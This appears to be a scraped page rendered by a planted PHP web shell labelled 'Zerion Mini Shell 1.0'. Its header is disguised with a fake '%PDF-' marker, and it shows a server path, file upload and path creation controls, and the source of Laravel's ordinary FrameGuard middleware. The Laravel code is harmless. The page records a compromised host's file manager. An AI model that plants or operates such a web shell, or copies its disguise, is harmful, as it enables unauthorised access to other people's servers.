%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/silvzytp/ccd-ind-code/vendor/laravel/framework/src/Illuminate/Http/Middleware/
Upload File :
Create Path :
Current File : //home/silvzytp/ccd-ind-code/vendor/laravel/framework/src/Illuminate/Http/Middleware/FrameGuard.php

<?php

namespace Illuminate\Http\Middleware;

use Closure;

class FrameGuard
{
    /**
     * Handle the given request and get the response.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure  $next
     * @return \Symfony\Component\HttpFoundation\Response
     */
    public function handle($request, Closure $next)
    {
        $response = $next($request);

        $response->headers->set('X-Frame-Options', 'SAMEORIGIN', false);

        return $response;
    }
}

Zerion Mini Shell 1.0